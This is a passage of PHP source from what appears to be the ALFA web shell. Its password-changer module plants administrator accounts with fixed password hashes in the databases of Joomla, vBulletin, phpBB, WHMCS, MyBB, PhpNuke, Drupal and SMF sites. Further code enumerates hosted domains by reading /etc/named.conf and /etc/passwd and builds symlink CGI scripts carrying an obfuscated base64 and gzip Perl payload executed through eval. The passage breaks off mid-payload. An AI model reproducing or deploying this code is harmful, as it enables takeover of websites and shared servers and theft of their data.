$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (id,name,username,email,password) values(null,\'Super User\',\'".$admin."\',\'".$SQL."\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select id from ".$prefix."users where username=\'".$admin."\'") or die(mysqli_error($conn));
$sole =@mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis =@mysqli_fetch_assoc($solevisible);
$res = $solevis[\'id\'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES (\'".$res."\', \'8\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if($_POST[\'alfa4\'] && $_POST[\'alfa4\'] == \'vb\'){

echo __pre().\'<center><center><div class="txtfont_header">| vBulletin |<div><p>\'.getConfigHtml(\'vb\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$prefix = $_POST[\'alfa7\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_connect_error());
$pw_col = @mysqli_connect("SELECT column_name FROM information_schema.columns where table_name = \'{$prefix}user\' and column_name = \'password\' and table_schema = \'{$database}\'");
$pw_col = @mysqli_num_rows($pw_col);
$adm_perm = "16744444";
if($pw_col > 0){
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,password,salt,email,passworddate,joindate) values(null,\'6\',\'$admin\',\'52e28b78f55641cd4618ad1a20f5fd5c\',\'Xw|IbGLhTQA-AwApVv>61y^(z]*<QN\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\')") or die(mysqli_error($conn));
}else{
$adm_perm = "2143256444";
$solevisible=@mysqli_query($conn,"insert into {$prefix}user (userid,usergroupid,username,token,secret,email,passworddate,joindate,scheme,birthday_search) values(null,\'6\',\'$admin\',\'\$2y\$10\$YsVhV.9tLnzBYxar1BJAGO3vFz68/qDU7Jt62SDdLy6lUT9N5Z/wq\',\'Qf~ADeA}iAey-&#ALQF<}/uBDqSnw>\',\'$SQL\',\'".date(\'Y-m-d\')."\',\'".time()."\',\'blowfish:10\',\'1984-05-20\')") or die(mysqli_error($conn));
}
$solevisible=@mysqli_query($conn,"select userid from {$prefix}user where username=\'".$admin."\'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis[\'userid\'];
}
$solevisible=@mysqli_query($conn,"insert into {$prefix}administrator (userid,adminpermissions) values(\'".$res."\',\'".$adm_perm."\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if(isset($_POST[\'alfa5\']) && $_POST[\'alfa5\'] == \'phpbb\'){

echo __pre().\'<center><div class="txtfont_header">| phpBB |</div><p><p>\'.getConfigHtml(\'phpbb\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5(\'solevisible\');
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET username_clean =\'".$admin."\' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_password =\'".$hash."\' WHERE user_type = 3") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"UPDATE ".$prefix."users SET user_email =\'".$SQL."\' WHERE username_clean = \'admin\'") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');
}
}
}
if(isset($_POST[\'alfa6\']) && $_POST[\'alfa6\'] == \'whmcs\'){

echo __pre().\'<center><div class="txtfont_header">| Whmcs |</div><p><p>\'.getConfigHtml(\'whmcs\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,\'1\',\'".$admin."\',\'d4a590caacc0be55ef286e40a945ea45\',\'".$SQL."\',\'blend\',\'getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if(isset($_POST[\'alfa7\']) && $_POST[\'alfa7\'] == \'mybb\'){

echo __pre().\'<center><div class="txtfont_header">| Mybb |</div><p><p>\'.getConfigHtml(\'mybb\').\'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa8\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\'] == \'nuke\'){

echo __pre().\'<center><div class="txtfont_header">| PhpNuke |</div><p><p>\'.getConfigHtml(\'phpnuke\').\'</p><form onsubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 \'td8\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'[email protected]\', \'inputSize\' => \'50\')
);
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa4\'];
$password = $_POST[\'alfa5\'];
$admin = $_POST[\'alfa7\'];
$SQL = $_POST[\'alfa9\'];
$prefix = $_POST[\'alfa10\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$hash = md5($pwd);
$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
if(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'drupal\'){

echo __pre().\'<center><div class="txtfont_header">| Drupal |</div><p><p>\'.getConfigHtml(\'drupal\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'drupal\'); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true)
 );
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa4\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$admin = $_POST[\'alfa8\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");
$getDescuid = @mysqli_fetch_assoc($getDescuid);
$getDescuid = $getDescuid[\'uid\'];
$getdescuid = $getDescuid++;
$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values(\'$getDescuid\',\'$admin\',\'\$S\$DP2y9AbolCBOd\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC\',\'[email protected]\',\'filtered_html\',\'1\',\'Europe/Berlin\',\'[email protected]\')") or die(mysqli_error($conn));
$solevisible=@mysqli_query($conn,"select uid from users where name=\'".$admin."\'") or die(mysqli_error($conn));
$sole = mysqli_num_rows($solevisible);
if ($sole == 1){
$solevis = mysqli_fetch_assoc($solevisible);
$res = $solevis[\'uid\'];
}
$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES (\'".$res."\', \'3\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}

if(isset($_POST[\'alfa10\']) && $_POST[\'alfa10\'] == \'smf\'){

echo __pre().\'<center><center><div class="txtfont_header">| SMF |</div><p><p>\'.getConfigHtml(\'smf\').\'</p><form onSubmit="g(\'pwchanger\',null,\'>>\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\'smf\'); return false;" method="POST">\';
$table = array(\'td1\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),
 \'td2\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td3\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td4\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),
 \'td5\' =>
 array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'smf_\', \'inputSize\' => \'50\'),
 \'td6\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),
 \'td7\' =>
 array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),
 );
create_table($table);
echo \'<p><input value=" " name="send" type="submit"></p></form></center>\';
if ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){
$localhost = $_POST[\'alfa2\'];
$database = $_POST[\'alfa3\'];
$username = $_POST[\'alfa5\'];
$password = $_POST[\'alfa6\'];
$prefix = $_POST[\'alfa7\'];
$admin = $_POST[\'alfa8\'];
$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));
$setpwAlg = sha1(strtolower($admin) . \'solevisible\');
$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,\'$admin\',\'1\',\'$admin\',\'$setpwAlg\',\'[email protected]\')") or die(mysqli_error($conn));
if($solevisible){
__alert(\'Success... \'.$admin.\' is created...\');}
}
}
echo "</div>";
alfafooter();
}
function alfaMakePwd(){
	if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
		return "/home/{user}/public_html/";
	}
	$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
	$public = end($document);
	array_pop($document);
	array_pop($document);
	$path = implode("/", $document) . "/{user}/" . $public;
	return $path;
}
function alfaGetDomains($state = false){
	$state = "named.conf";
	$lines = array();
	$lines = _alfa_file(\'/etc/named.conf\');
	if(!$lines){
		$lines = @scandir("/etc/valiases/");
		$state = "valiases";
		if(!$lines){
			$lines = @scandir("/var/named");
			$state = "named";
			if(!$lines && $state){
				$lines = _alfa_file(\'/etc/passwd\');
				$state = "passwd";
			}
		}
	}
	return array("lines" => $lines, "state" => $state);
}
function alfaCreateParentFolder(){
	$parent = $GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__;
	if(!@is_dir($parent)){
		@mkdir($parent, 0755, true);
	}
}
function alfasymlink(){
alfahead();
AlfaNum(9,10);
alfaCreateParentFolder();
@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);
echo \'<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>\';
if(isset($_POST[\'alfa2\'])&&($_POST[\'alfa2\']==\'symperl\'||$_POST["alfa2"]=="sympy")){
	$sympath = alfaMakePwd();
	@mkdir(\'cgialfa\',0755);
	@chdir(\'cgialfa\');
	alfacgihtaccess(\'cgi\');
	$perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."
".\'use MIME::Base64;use Compress::Zlib;my $alfa_data="\'.__ALFA_DATA_FOLDER__.\'";eval(Compress::Zlib::memGunzip(decode_base64("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")));\';
	$py = \'#!/usr/bin/python\'."
import zlib, base64
alfa_data=\'".__ALFA_DATA_FOLDER__."\'
